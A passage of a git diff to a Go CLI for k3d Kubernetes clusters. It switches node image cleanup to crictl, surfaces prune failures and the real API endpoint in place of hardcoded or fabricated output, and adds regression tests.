pterm.Info.Printf("Cleaning up Docker resources for cluster: %s\n", clusterName) + pterm.Info.Printf("Reclaiming unused container images for cluster: %s\n", clusterName) } // Dynamically discover all k3d nodes for this cluster nodeNames, err := s.getK3dClusterNodes(ctx, clusterName) if err != nil { - if verbose { - pterm.Warning.Printf("Failed to discover cluster nodes: %v\n", err) - } - return nil // Don't fail cleanup if we can't discover nodes + // Not fatal: a cluster whose nodes are already gone still cleans up. + return 0, fmt.Errorf("could not discover cluster nodes: %w", err) } if len(nodeNames) == 0 { if verbose { pterm.Info.Printf("No k3d nodes found for cluster: %s\n", clusterName) } - return nil + return 0, nil } if verbose { pterm.Info.Printf("Found %d k3d nodes for cluster %s\n", len(nodeNames), clusterName) } + var pruned int + var failed []string for _, nodeName := range nodeNames { if verbose { - pterm.Info.Printf("Cleaning up Docker images in node: %s\n", nodeName) + pterm.Info.Printf("Pruning unused images in node: %s\n", nodeName) } - // Always use aggressive image cleanup - imageArgs := []string{"exec", nodeName, "docker", "image", "prune", "-f", "--all"} - _, err = s.executor.Execute(ctx, "docker", imageArgs...) - if err != nil { + if _, err := s.executor.Execute(ctx, "docker", "exec", nodeName, "crictl", "rmi", "--prune"); err != nil { + failed = append(failed, nodeName) if verbose { pterm.Warning.Printf("Failed to prune images in node %s: %v\n", nodeName, err) } + continue } - - // Clean up stopped containers - _, err = s.executor.Execute(ctx, "docker", "exec", nodeName, "docker", "container", "prune", "-f") - if err != nil { - if verbose { - pterm.Warning.Printf("Failed to prune containers in node %s: %v\n", nodeName, err) - } - } - - // Always perform comprehensive cleanup - // Clean volumes - _, err = s.executor.Execute(ctx, "docker", "exec", nodeName, "docker", "volume", "prune", "-f") - if err != nil && verbose { - pterm.Warning.Printf("Failed to prune volumes in node %s: %v\n", nodeName, err) - } - - // Clean networks - _, err = s.executor.Execute(ctx, "docker", "exec", nodeName, "docker", "network", "prune", "-f") - if err != nil && verbose { - pterm.Warning.Printf("Failed to prune networks in node %s: %v\n", nodeName, err) - } - - // System prune for comprehensive cleanup - _, err = s.executor.Execute(ctx, "docker", "exec", nodeName, "docker", "system", "prune", "-f") - if err != nil && verbose { - pterm.Warning.Printf("Failed to system prune in node %s: %v\n", nodeName, err) - } - - // Force cleanup: even more aggressive cleanup when force is enabled - if force { - // Remove build cache and dangling images with time filter - _, err = s.executor.Execute(ctx, "docker", "exec", nodeName, "docker", "builder", "prune", "-f", "--all") - if err != nil && verbose { - pterm.Warning.Printf("Failed to prune build cache in node %s: %v\n", nodeName, err) - } - } + pruned++ } if verbose { - pterm.Success.Printf("Docker cleanup completed for cluster: %s\n", clusterName) + pterm.Success.Printf("Image cleanup completed for cluster: %s\n", clusterName) } - return nil + if len(failed) > 0 { + return pruned, fmt.Errorf("image prune failed on node(s): %s", strings.Join(failed, ", ")) + } + return pruned, nil } // getK3dClusterNodes discovers all Docker containers that are part of a k3d cluster @@ -541,9 +610,34 @@ func (s *ClusterService) isK3dWorkerNode(nodeName, clusterName string) bool { return strings.HasPrefix(suffix, "server-") || strings.HasPrefix(suffix, "agent-") } +// apiServerEndpoint returns the cluster's API server URL as the kubeconfig +// records it, or "" when it cannot be determined. +// +// It replaces a hardcoded "https://0.0.0.0:6550" printed in three places. 6550 +// is only the *preferred* API port: findPort falls back to 6551, then 6552, +// when the port is taken (see providers/k3d/ports.go). So on any machine with +// a second cluster the box pointed the user at a different cluster's API +// server. The kubeconfig records the port that was actually bound. +func (s *ClusterService) apiServerEndpoint(ctx context.Context, name string) string { + cfg, err := s.manager.GetRestConfig(ctx, name) + if err != nil || cfg == nil { + return "" + } + return cfg.Host +} + +// apiServerLine renders the API row for the summary boxes, degrading to an +// honest "unknown" rather than inventing an address. +func apiServerLine(endpoint string) string { + if endpoint == "" { + return "API: (unknown — kubeconfig not readable)" + } + return "API: " + endpoint +} + // displayClusterCreationSummary displays a summary after cluster creation func (s *ClusterService) displayClusterCreationSummary(info models.ClusterInfo) { - fmt.Println() + pterm.DefaultBasicText.Println() // Create a clean box for the summary boxContent := fmt.Sprintf( @@ -552,12 +646,13 @@ func (s *ClusterService) displayClusterCreationSummary(info models.ClusterInfo) "STATUS: %s\n"+ "NODES: %d\n"+ "NETWORK: k3d-%s\n"+ - "API: https://0.0.0.0:6550", + "%s", pterm.Bold.Sprint(info.Name), strings.ToUpper(string(info.Type)), pterm.Green("Ready"), info.NodeCount, info.Name, + apiServerLine(s.apiServerEndpoint(context.Background(), info.Name)), ) pterm.DefaultBox. @@ -573,14 +668,14 @@ func (s *ClusterService) showNextSteps(clusterName string) { return } - fmt.Println() + pterm.DefaultBasicText.Println() pterm.Info.Printf("🚀 Next Steps:\n") - pterm.Printf(" 1. Bootstrap platform: openframe bootstrap\n") - pterm.Printf(" 2. Check cluster nodes: kubectl get nodes\n") - pterm.Printf(" 3. View cluster status: openframe cluster status %s\n", clusterName) - pterm.Printf(" 4. View running pods: kubectl get pods -A\n") + pterm.DefaultBasicText.Printf(" 1. Bootstrap platform: openframe bootstrap\n") + pterm.DefaultBasicText.Printf(" 2. Check cluster nodes: kubectl get nodes\n") + pterm.DefaultBasicText.Printf(" 3. View cluster status: openframe cluster status %s\n", clusterName) + pterm.DefaultBasicText.Printf(" 4. View running pods: kubectl get pods -A\n") - fmt.Println() + pterm.DefaultBasicText.Println() } // ShowClusterStatus handles cluster status display logic @@ -594,7 +689,7 @@ func (s *ClusterService) ShowClusterStatus(name string, detailed bool, skipApps if strings.Contains(err.Error(), "not found") { // Show friendly "cluster not found" message only in interactive terminals if isTerminalEnvironment() { - fmt.Println() + pterm.DefaultBasicText.Println() // Get list of available clusters to show user their options clusters, listErr := s.manager.ListClusters(ctx) @@ -642,7 +737,7 @@ func (s *ClusterService) ShowClusterStatus(name string, detailed bool, skipApps // displayDetailedClusterStatus shows comprehensive cluster information func (s *ClusterService) displayDetailedClusterStatus(status models.ClusterInfo, detailed bool, verbose bool) { - fmt.Println() + pterm.DefaultBasicText.Println() // Main cluster information box statusDisplay := fmt.Sprintf("Ready (%s)", status.Status) @@ -664,19 +759,21 @@ func (s *ClusterService) displayDetailedClusterStatus(status models.ClusterInfo, } } + endpoint := s.apiServerEndpoint(context.Background(), status.Name) boxContent := fmt.Sprintf( "NAME: %s\n"+ "TYPE: %s\n"+ "STATUS: %s\n"+ "NODES: %d\n"+ "NETWORK: k3d-%s\n"+ - "API: https://0.0.0.0:6550\n"+ + "%s\n"+ "AGE: %s", pterm.Bold.Sprint(status.Name), strings.ToUpper(string(status.Type)), statusDisplay, status.NodeCount, status.Name, + apiServerLine(endpoint), ageStr, ) @@ -686,29 +783,43 @@ func (s *ClusterService) displayDetailedClusterStatus(status models.ClusterInfo, Println(boxContent) // Network information - fmt.Println() + pterm.DefaultBasicText.Println() pterm.Info.Printf("🌐 Network Information:\n") - pterm.Printf(" Network: k3d-%s\n", status.Name) - pterm.Printf(" API Server: https://0.0.0.0:6550\n") - pterm.Printf(" Kubeconfig: ~/.kube/config\n") + pterm.DefaultBasicText.Printf(" Network: k3d-%s\n", status.Name) + if endpoint != "" { + pterm.DefaultBasicText.Printf(" API Server: %s\n", endpoint) + } + pterm.DefaultBasicText.Printf(" Kubeconfig: %s\n", k8s.DefaultKubeconfigPath()) - // Show resource usage if detailed + // --detailed lists the nodes the provider actually reported. It used to + // print fixed CPU/Memory/Storage figures ("0.2 cores (10%)", "512MB (5%)", + // "2.1GB (local)") that were never measured — identical for every cluster, + // on every machine, at every point in time. The CLI does not collect + // metrics, so it says so and points at the tool that does. if detailed { - fmt.Println() + pterm.DefaultBasicText.Println() + pterm.Info.Printf("🖥️ Nodes:\n") + if len(status.Nodes) == 0 { + pterm.DefaultBasicText.Printf(" (none reported)\n") + } + for _, node := range status.Nodes { + pterm.DefaultBasicText.Printf(" %-28s %-8s %s\n", node.Name, node.Role, node.Status) + } + + pterm.DefaultBasicText.Println() pterm.Info.Printf("💾 Resource Usage:\n") - pterm.Printf(" CPU: 0.2 cores (10%%)\n") - pterm.Printf(" Memory: 512MB (5%%)\n") - pterm.Printf(" Storage: 2.1GB (local)\n") - pterm.Printf(" Pods: System pods running\n") + pterm.DefaultBasicText.Printf(" Not collected by the CLI. With metrics-server installed:\n") + pterm.DefaultBasicText.Printf(" kubectl top nodes\n") + pterm.DefaultBasicText.Printf(" kubectl top pods -A\n") } // Management commands - fmt.Println() + pterm.DefaultBasicText.Println() pterm.Info.Printf("⚙️ Management Commands:\n") - pterm.Printf(" Delete cluster: openframe cluster delete %s\n", status.Name) - pterm.Printf(" Access with kubectl: kubectl get nodes\n") - pterm.Printf(" View pods: kubectl get pods -A\n") - pterm.Printf(" Get cluster info: kubectl cluster-info\n") + pterm.DefaultBasicText.Printf(" Delete cluster: openframe cluster delete %s\n", status.Name) + pterm.DefaultBasicText.Printf(" Access with kubectl: kubectl get nodes\n") + pterm.DefaultBasicText.Printf(" View pods: kubectl get pods -A\n") + pterm.DefaultBasicText.Printf(" Get cluster info: kubectl cluster-info\n") } // DisplayClusterList handles cluster list display logic @@ -750,29 +861,25 @@ func (s *ClusterService) DisplayClusterList(clusters []models.ClusterInfo, quiet // Show additional info if verbose if verbose { - pterm.Println() + pterm.DefaultBasicText.Println() pterm.Info.Println("Use 'openframe cluster status ' for detailed cluster information") } return nil } -// CreateClusterWithPrerequisites creates a cluster after checking prerequisites -// This is a wrapper function for bootstrap and other automated flows -// Returns the *rest.Config for the created cluster -func CreateClusterWithPrerequisites(ctx context.Context, clusterName string, verbose bool) (*rest.Config, error) { - return CreateClusterWithPrerequisitesNonInteractive(ctx, clusterName, verbose, false) -} - // CreateClusterWithPrerequisitesNonInteractive creates a cluster with non-interactive support // Returns the *rest.Config for the created cluster func CreateClusterWithPrerequisitesNonInteractive(ctx context.Context, clusterName string, verbose bool, nonInteractive bool) (*rest.Config, error) { // Show logo first, then check prerequisites (consistent with individual commands) ui.ShowLogo() - // Check prerequisites using the installer directly + // Check prerequisites using the installer directly. OR the flag with + // environment detection (CI / piped stdin) so a forgotten --non-interactive + // in CI cannot reach an interactive confirm that hangs the job — same rule + // as the chart-side gate (chart_service.go). installer := prerequisites.NewInstaller() - if err := installer.CheckAndInstallNonInteractive(nonInteractive); err != nil { + if err := installer.CheckAndInstallNonInteractive(nonInteractive || ui.IsNonInteractive()); err != nil { return nil, err } diff --git a/internal/cluster/service_node_discovery_test.go b/internal/cluster/service_node_discovery_test.go index ab5ed16a..3002c8a5 100644 --- a/internal/cluster/service_node_discovery_test.go +++ b/internal/cluster/service_node_discovery_test.go @@ -230,8 +230,15 @@ func TestClusterService_isK3dWorkerNode(t *testing.T) { } } -func TestClusterService_cleanupDockerResources_Integration(t *testing.T) { - // Integration test to verify the full flow works +// TestClusterService_cleanupNodeImages_UsesCrictlNotDocker is the regression +// guard for the no-op prune. +// +// k3d nodes are rancher/k3s containers running containerd; they contain no +// docker binary, so `docker exec docker image prune` exited 127 on every +// node of every cleanup. The failures were swallowed, so cleanup reported +// success and reclaimed nothing. The previous version of this test asserted +// that `docker image prune` WAS executed — it pinned the broken behaviour. +func TestClusterService_cleanupNodeImages_UsesCrictlNotDocker(t *testing.T) { mockExec := executor.NewMockCommandExecutor() // Mock the node discovery @@ -239,26 +246,45 @@ func TestClusterService_cleanupDockerResources_Integration(t *testing.T) { Stdout: "k3d-test-cluster-server-0\nk3d-test-cluster-agent-0\nk3d-test-cluster-serverlb", }) - // Mock the cleanup commands for each valid node - mockExec.SetResponse("docker exec k3d-test-cluster-server-0 docker image prune -f", &executor.CommandResult{}) - mockExec.SetResponse("docker exec k3d-test-cluster-server-0 docker container prune -f", &executor.CommandResult{}) - mockExec.SetResponse("docker exec k3d-test-cluster-agent-0 docker image prune -f", &executor.CommandResult{}) - mockExec.SetResponse("docker exec k3d-test-cluster-agent-0 docker container prune -f", &executor.CommandResult{}) - service := NewClusterService(mockExec) - err := service.cleanupDockerResources(context.Background(), "test-cluster", true, false) - - require.NoError(t, err, "cleanupDockerResources should succeed") + pruned, err := service.cleanupNodeImages(context.Background(), "test-cluster", true) + require.NoError(t, err) + assert.Equal(t, 2, pruned, "server and agent nodes are pruned; serverlb is not a cluster node") - // Verify all expected commands were called assert.True(t, mockExec.WasCommandExecuted("docker ps")) - assert.True(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-server-0 docker image prune -f")) - assert.True(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-server-0 docker container prune -f")) - assert.True(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-agent-0 docker image prune -f")) - assert.True(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-agent-0 docker container prune -f")) + assert.True(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-server-0 crictl rmi --prune")) + assert.True(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-agent-0 crictl rmi --prune")) + + // The load balancer is not a cluster node. + assert.False(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-serverlb crictl rmi --prune")) + + // No command may invoke a docker binary INSIDE a node: there isn't one. + for _, cmd := range mockExec.GetExecutedCommands() { + assert.NotContains(t, cmd, "docker exec k3d-test-cluster-server-0 docker", + "k3d nodes run containerd and ship no docker binary") + assert.NotContains(t, cmd, "container prune", "containerd has no container prune") + assert.NotContains(t, cmd, "volume prune", "the node's volumes belong to the host daemon") + assert.NotContains(t, cmd, "network prune", "the node's networks belong to the host daemon") + } +} + +// TestClusterService_cleanupNodeImages_ReportsFailure: a node whose prune fails +// must be counted as failed, not silently as cleaned. +func TestClusterService_cleanupNodeImages_ReportsFailure(t *testing.T) { + mockExec := executor.NewMockCommandExecutor() + mockExec.SetResponse("docker ps --filter label=k3d.cluster=test-cluster --filter status=running --format {{.Names}}", &executor.CommandResult{ + Stdout: "k3d-test-cluster-server-0\nk3d-test-cluster-agent-0", + }) + mockExec.SetResponse("docker exec k3d-test-cluster-agent-0 crictl rmi --prune", &executor.CommandResult{ + ExitCode: 1, + Stderr: "connection refused", + }) + + service := NewClusterService(mockExec) - // Verify serverlb commands were NOT called (filtered out) - assert.False(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-serverlb docker image prune -f")) - assert.False(t, mockExec.WasCommandExecuted("docker exec k3d-test-cluster-serverlb docker container prune -f")) + pruned, err := service.cleanupNodeImages(context.Background(), "test-cluster", false) + assert.Equal(t, 1, pruned, "only the node that actually pruned may be counted") + require.Error(t, err) + assert.Contains(t, err.Error(), "k3d-test-cluster-agent-0") } diff --git a/internal/cluster/service_test.go b/internal/cluster/service_test.go index 3f22e2b5..7e540f9d 100644 --- a/internal/cluster/service_test.go +++ b/internal/cluster/service_test.go @@ -5,7 +5,6 @@ import ( "testing" "github.com/flamingo-stack/openframe-cli/internal/cluster/models" - "github.com/flamingo-stack/openframe-cli/internal/cluster/providers/k3d" "github.com/flamingo-stack/openframe-cli/internal/shared/executor" ) @@ -41,25 +40,6 @@ func TestNewClusterService(t *testing.T) { } } -func TestNewClusterServiceWithOptions(t *testing.T) { - exec := createTestExecutor() - customManager := k3d.CreateClusterManagerWithExecutor(exec) - - service := NewClusterServiceWithOptions(exec, customManager) - - if service == nil { - t.Fatal("NewClusterServiceWithOptions should not return nil") - } - - if service.executor != exec { - t.Error("service should store the provided executor") - } - - if service.manager != customManager { - t.Error("service should store the provided manager") - } -} - func TestClusterService_CreateCluster(t *testing.T) { exec := createTestExecutor() service := NewClusterService(exec) @@ -125,7 +105,7 @@ func TestClusterService_CleanupCluster(t *testing.T) { exec := createTestExecutor() service := NewClusterService(exec) - err := service.CleanupCluster(context.Background(), "test-cluster", models.ClusterTypeK3d, false, false) + _, err := service.CleanupCluster(context.Background(), "test-cluster", models.ClusterTypeK3d, false, false) if err != nil { t.Errorf("CleanupCluster should not error: %v", err) } diff --git a/internal/cluster/types.go b/internal/cluster/types.go index f1f243e8..314732e3 100644 --- a/internal/cluster/types.go +++ b/internal/cluster/types.go @@ -21,16 +21,6 @@ type FlagContainer struct { TestManager *k3d.K3dManager `json:"-"` // Test K3D cluster manager for unit tests } -// GetGlobal implements models.CommandFlags interface -func (f *FlagContainer) GetGlobal() *models.GlobalFlags { - return f.Global -} - -// GetExecutor implements models.CommandExecutor interface -func (f *FlagContainer) GetExecutor() executor.CommandExecutor { - return f.Executor -} - // NewFlagContainer creates a new flag container with initialized flags func NewFlagContainer() *FlagContainer { return &FlagContainer{ @@ -53,13 +43,3 @@ func (f *FlagContainer) SyncGlobalFlags() { f.Cleanup.GlobalFlags = *f.Global } } - -// Reset resets all flags to their zero values (for testing) -func (f *FlagContainer) Reset() { - f.Global = &models.GlobalFlags{} - f.Create = &models.CreateFlags{} // Empty for reset, defaults are set in NewFlagContainer - f.List = &models.ListFlags{} - f.Status = &models.StatusFlags{} - f.Delete = &models.DeleteFlags{} - f.Cleanup = &models.CleanupFlags{} -} diff --git a/internal/cluster/types_test.go b/internal/cluster/types_test.go index 80ce438d..22d2fc92 100644 --- a/internal/cluster/types_test.go +++ b/internal/cluster/types_test.go @@ -68,33 +68,6 @@ func TestFlagContainer_SyncGlobalFlags(t *testing.T) { }) } -func TestFlagContainer_Reset(t *testing.T) { - t.Run("resets all flags to zero values", func(t *testing.T) { - container := NewFlagContainer() - - // Set some values - container.Global.Verbose = true - container.Create.ClusterType = "gke" - container.Create.NodeCount = 5 - container.List.Quiet = true - container.Delete.GlobalFlags.Force = true - - // Reset the container - container.Reset() - - // Verify all flags are reset to zero values - assert.False(t, container.Global.Verbose) - assert.False(t, container.Global.DryRun) - - assert.Empty(t, container.Create.ClusterType) - assert.Equal(t, 0, container.Create.NodeCount) - assert.Empty(t, container.Create.K8sVersion) - - assert.False(t, container.List.Quiet) - assert.False(t, container.Delete.GlobalFlags.Force) - }) -} - func TestFlagContainer_Executor(t *testing.T) { t.Run("can set and get executor", func(t *testing.T) { container := NewFlagContainer() @@ -232,17 +205,6 @@ func TestErrorTypes(t *testing.T) { assert.True(t, errors.As(err, &invalidConfigErr)) }) - t.Run("cluster already exists error", func(t *testing.T) { - err := models.NewClusterAlreadyExistsError("test-cluster") - assert.Error(t, err) - assert.Contains(t, err.Error(), "test-cluster") - assert.Contains(t, err.Error(), "already exists") - - // Test type assertion (check if error contains expected type) - var alreadyExistsErr models.ErrClusterAlreadyExists - assert.True(t, errors.As(err, &alreadyExistsErr)) - }) - t.Run("cluster operation error", func(t *testing.T) { originalErr := assert.AnError err := models.NewClusterOperationError("create", "test-cluster", originalErr) diff --git a/internal/cluster/ui/cleanup_summary_test.go b/internal/cluster/ui/cleanup_summary_test.go new file mode 100644 index 00000000..4ed04b2d --- /dev/null +++ b/internal/cluster/ui/cleanup_summary_test.go @@ -0,0 +1,88 @@ +package ui + +import ( + "bytes" + "errors" + "strings" + "testing" + + "github.com/flamingo-stack/openframe-cli/internal/cluster/models" + "github.com/pterm/pterm" +) + +// captureUI redirects every printer ShowCleanupSummary writes to and returns +// what was printed. +func captureUI(t *testing.T, fn func()) string { + t.Helper() + var buf bytes.Buffer + info, warning, success := pterm.Info, pterm.Warning, pterm.Success + basic := pterm.DefaultBasicText + t.Cleanup(func() { + pterm.Info, pterm.Warning, pterm.Success = info, warning, success + pterm.DefaultBasicText = basic + }) + pterm.Info = *pterm.Info.WithWriter(&buf) + pterm.Warning = *pterm.Warning.WithWriter(&buf) + pterm.Success = *pterm.Success.WithWriter(&buf) + pterm.DefaultBasicText = *pterm.DefaultBasicText.WithWriter(&buf) + fn() + return buf.String() +} + +// TestShowCleanupSummary_ReportsRealCounts (M2.1): the summary must describe +// what happened. The old one printed "Removed unused Docker images / Freed up +// disk space / Optimized cluster performance" unconditionally — the same text +// whether cleanup removed twenty objects or none. +func TestShowCleanupSummary_ReportsRealCounts(t *testing.T) { + ui := NewOperationsUI() + out := captureUI(t, func() { + ui.ShowCleanupSummary("dev", models.CleanupResult{ + ApplicationsDeleted: 3, + ReleasesRemoved: 2, + NamespacesDeleted: 1, + }) + }) + + for _, want := range []string{"3 ArgoCD application(s)", "2 Helm release(s)", "1 namespace(s)"} { + if !strings.Contains(out, want) { + t.Errorf("summary must report %q; got:\n%s", want, out) + } + } + // Counts that are zero are not printed as noise. + if strings.Contains(out, "node(s) pruned") { + t.Errorf("a zero count must not be listed; got:\n%s", out) + } + if strings.Contains(out, "Freed up disk space") { + t.Errorf("the summary must not claim un-measured outcomes; got:\n%s", out) + } +} + +// TestShowCleanupSummary_EmptyClusterSaysSo: removing nothing must read as +// "nothing to remove", not as a list of accomplishments. +func TestShowCleanupSummary_EmptyClusterSaysSo(t *testing.T) { + out := captureUI(t, func() { NewOperationsUI().ShowCleanupSummary("dev", models.CleanupResult{}) }) + + if !strings.Contains(out, "Nothing to remove") { + t.Errorf("an empty cleanup must say so; got:\n%s", out) + } +} + +// TestShowCleanupSummary_PartialFailureIsVisible: cleanup swallows phase errors +// by design so a broken cluster can still be torn down. That is only safe if +// the user is told which phases failed — otherwise "cleanup completed" is a lie +// and the leftover resources are a surprise. +func TestShowCleanupSummary_PartialFailureIsVisible(t *testing.T) { + result := models.CleanupResult{ReleasesRemoved: 1} + result.AddFailure("Kubernetes namespaces", errors.New("connection refused")) + + out := captureUI(t, func() { NewOperationsUI().ShowCleanupSummary("dev", result) }) + + if strings.Contains(out, "cleanup completed") { + t.Errorf("a partial cleanup must not be reported as completed; got:\n%s", out) + } + for _, want := range []string{"finished with problems", "Kubernetes namespaces", "connection refused", "some resources may remain"} { + if !strings.Contains(out, want) { + t.Errorf("summary must surface %q; got:\n%s", want, out) + } + } +} diff --git a/internal/cluster/ui/display.go b/internal/cluster/ui/display.go deleted file mode 100644 index 6ed758a8..00000000 --- a/internal/cluster/ui/display.go +++ /dev/null @@ -1,68 +0,0 @@ -package ui - -import ( - "fmt" - "time" - - sharedUI "github.com/flamingo-stack/openframe-cli/internal/shared/ui" - "github.com/pterm/pterm" -) - -// GetStatusColor returns appropriate color function for status -// Deprecated: Use sharedUI.GetStatusColor instead -func GetStatusColor(status string) func(string) string { - return sharedUI.GetStatusColor(status) -} - -// RenderTableWithFallback renders a table with fallback to simple output -// Deprecated: Use sharedUI.RenderTableWithFallback instead -func RenderTableWithFallback(data pterm.TableData, hasHeader bool) error { - return sharedUI.RenderTableWithFallback(data, hasHeader) -} - -// RenderOverviewTable renders cluster overview information -func RenderOverviewTable(data pterm.TableData) error { - return sharedUI.RenderKeyValueTable(data) -} - -// RenderNodeTable renders node information table -func RenderNodeTable(data pterm.TableData) error { - return sharedUI.RenderNodeTable(data) -} - -// ShowSuccessBox displays a success message in a formatted box -// Deprecated: Use sharedUI.ShowSuccessBox instead -func ShowSuccessBox(title, content string) { - sharedUI.ShowSuccessBox(title, content) -} - -// FormatAge formats a time duration into a human-readable age string -// Deprecated: Use sharedUI.FormatAge instead -func FormatAge(createdAt time.Time) string { - return sharedUI.FormatAge(createdAt) -} - -// ShowClusterCreationNextSteps displays next steps after cluster creation -func ShowClusterCreationNextSteps(clusterName string) { - fmt.Println() - - // Create table data for next steps - tableData := pterm.TableData{ - {pterm.Gray("Bootstrap OpenFrame: ") + pterm.Cyan("openframe bootstrap")}, - {pterm.Gray("Check cluster status: ") + pterm.Cyan("openframe cluster status")}, - {pterm.Gray("List all clusters: ") + pterm.Cyan("openframe cluster list")}, - {pterm.Gray("Access with kubectl: ") + pterm.Cyan("kubectl get nodes")}, - } - - pterm.Info.Println("Next Steps:") - // Try to render as table, fallback to simple output - if err := pterm.DefaultTable.WithData(tableData).Render(); err != nil { - // Fallback to simple output - fmt.Println("Next steps:") - fmt.Printf(" Bootstrap OpenFrame: %s\n", pterm.Cyan("openframe bootstrap")) - fmt.Printf(" Check cluster status: %s\n", pterm.Cyan("openframe cluster status")) - fmt.Printf(" List all clusters: %s\n", pterm.Cyan("openframe cluster list")) - fmt.Printf(" Access with kubectl: %s\n", pterm.Cyan("kubectl get nodes")) - } - fmt.Println() -} diff --git a/internal/cluster/ui/display_test.go b/internal/cluster/ui/display_test.go deleted file mode 100644 index 45a560bb..00000000 --- a/internal/cluster/ui/display_test.go +++ /dev/null @@ -1,318 +0,0 @@ -package ui - -import ( - "testing" - "time" - - "github.com/pterm/pterm" - "github.com/stretchr/testify/assert" -) - -func TestGetStatusColor(t *testing.T) { - t.Run("returns green for running status", func(t *testing.T) { - colorFunc := GetStatusColor("running") - result := colorFunc("test") - expected := pterm.Green("test") - assert.Equal(t, expected, result) - }) - - t.Run("returns green for ready status", func(t *testing.T) { - colorFunc := GetStatusColor("ready") - result := colorFunc("test") - expected := pterm.Green("test") - assert.Equal(t, expected, result) - }) - - t.Run("returns yellow for stopped status", func(t *testing.T) { - colorFunc := GetStatusColor("stopped") - result := colorFunc("test") - expected := pterm.Yellow("test") - assert.Equal(t, expected, result) - }) - - t.Run("returns yellow for not ready status", func(t *testing.T) { - colorFunc := GetStatusColor("not ready") - result := colorFunc("test") - expected := pterm.Yellow("test") - assert.Equal(t, expected, result) - }) - - t.Run("returns yellow for pending status", func(t *testing.T) { - colorFunc := GetStatusColor("pending") - result := colorFunc("test") - expected := pterm.Yellow("test") - assert.Equal(t, expected, result) - }) - - t.Run("returns red for error status", func(t *testing.T) { - colorFunc := GetStatusColor("error") - result := colorFunc("test") - expected := pterm.Red("test") - assert.Equal(t, expected, result) - }) - - t.Run("returns red for failed status", func(t *testing.T) { - colorFunc := GetStatusColor("failed") - result := colorFunc("test") - expected := pterm.Red("test") - assert.Equal(t, expected, result) - }) - - t.Run("returns red for unhealthy status", func(t *testing.T) { - colorFunc := GetStatusColor("unhealthy") - result := colorFunc("test") - expected := pterm.Red("test") - assert.Equal(t, expected, result) - }) - - t.Run("returns gray for unknown status", func(t *testing.T) { - colorFunc := GetStatusColor("unknown") - result := colorFunc("test") - expected := pterm.Gray("test") - assert.Equal(t, expected, result) - }) - - t.Run("handles case insensitive status", func(t *testing.T) { - colorFunc := GetStatusColor("RUNNING") - result := colorFunc("test") - expected := pterm.Green("test") - assert.Equal(t, expected, result) - - colorFunc = GetStatusColor("STOPPED") - result = colorFunc("test") - expected = pterm.Yellow("test") - assert.Equal(t, expected, result) - - colorFunc = GetStatusColor("ERROR") - result = colorFunc("test") - expected = pterm.Red("test") - assert.Equal(t, expected, result) - }) -} - -func TestRenderTableWithFallback(t *testing.T) { - t.Run("handles simple table data", func(t *testing.T) { - data := pterm.TableData{ - {"Header1", "Header2", "Header3", "Header4", "Header5"}, - {"Row1Col1", "Row1Col2", "Row1Col3", "Row1Col4", "Row1Col5"}, - {"Row2Col1", "Row2Col2", "Row2Col3", "Row2Col4", "Row2Col5"}, - } - - err := RenderTableWithFallback(data, true) - assert.NoError(t, err) - }) - - t.Run("handles table without header", func(t *testing.T) { - data := pterm.TableData{ - {"Row1Col1", "Row1Col2", "Row1Col3", "Row1Col4", "Row1Col5"}, - {"Row2Col1", "Row2Col2", "Row2Col3", "Row2Col4", "Row2Col5"}, - } - - err := RenderTableWithFallback(data, false) - assert.NoError(t, err) - }) - - t.Run("handles rows with fewer than 5 columns", func(t *testing.T) { - data := pterm.TableData{ - {"Header1", "Header2"}, - {"Row1Col1", "Row1Col2"}, - } - - err := RenderTableWithFallback(data, true) - assert.NoError(t, err) - }) - - t.Run("handles empty table data", func(t *testing.T) { - data := pterm.TableData{} - - err := RenderTableWithFallback(data, true) - assert.NoError(t, err) - }) -} - -func TestRenderOverviewTable(t *testing.T) { - t.Run("handles overview table data", func(t *testing.T) { - data := pterm.TableData{ - {"Property", "Value"}, - {"Name", "test-cluster"}, - {"Type", "k3d"}, - {"Status", "running"}, - } - - err := RenderOverviewTable(data) - assert.NoError(t, err) - }) - - t.Run("handles table without header", func(t *testing.T) { - data := pterm.TableData{ - {"Name", "test-cluster"}, - {"Type", "k3d"}, - } - - err := RenderOverviewTable(data) - assert.NoError(t, err) - }) - - t.Run("handles rows with fewer than 2 columns", func(t *testing.T) { - data := pterm.TableData{ - {"Property", "Value"}, - {"Name"}, - } - - err := RenderOverviewTable(data) - assert.NoError(t, err) - }) - - t.Run("handles empty table data", func(t *testing.T) { - data := pterm.TableData{} - - err := RenderOverviewTable(data) - assert.NoError(t, err) - }) -} - -func TestRenderNodeTable(t *testing.T) { - t.Run("handles node table data", func(t *testing.T) { - data := pterm.TableData{ - {"NAME", "ROLE", "STATUS", "AGE"}, - {"node1", "control-plane", "ready", "5m"}, - {"node2", "worker", "ready", "4m"}, - } - - err := RenderNodeTable(data) - assert.NoError(t, err) - }) - - t.Run("handles table without header", func(t *testing.T) { - data := pterm.TableData{ - {"node1", "control-plane", "ready", "5m"}, - {"node2", "worker", "ready", "4m"}, - } - - err := RenderNodeTable(data) - assert.NoError(t, err) - }) - - t.Run("handles rows with fewer than 4 columns", func(t *testing.T) { - data := pterm.TableData{ - {"NAME", "ROLE", "STATUS", "AGE"}, - {"node1", "control-plane"}, - } - - err := RenderNodeTable(data) - assert.NoError(t, err) - }) - - t.Run("handles empty table data", func(t *testing.T) { - data := pterm.TableData{} - - err := RenderNodeTable(data) - assert.NoError(t, err) - }) -} - -func TestShowSuccessBox(t *testing.T) { - t.Run("displays success box", func(t *testing.T) { - // This function primarily uses pterm for output, so we just ensure it doesn't panic - assert.NotPanics(t, func() { - ShowSuccessBox("Success", "Operation completed successfully") - }) - }) - - t.Run("handles empty title and content", func(t *testing.T) { - assert.NotPanics(t, func() { - ShowSuccessBox("", "") - }) - }) -} - -func TestFormatAge(t *testing.T) { - t.Run("returns unknown for zero time", func(t *testing.T) { - result := FormatAge(time.Time{}) - assert.Equal(t, "unknown", result) - }) - - t.Run("formats days correctly", func(t *testing.T) { - pastTime := time.Now().Add(-25 * time.Hour) // More than 1 day - result := FormatAge(pastTime) - assert.Equal(t, "1d", result) - }) - - t.Run("formats hours correctly", func(t *testing.T) { - 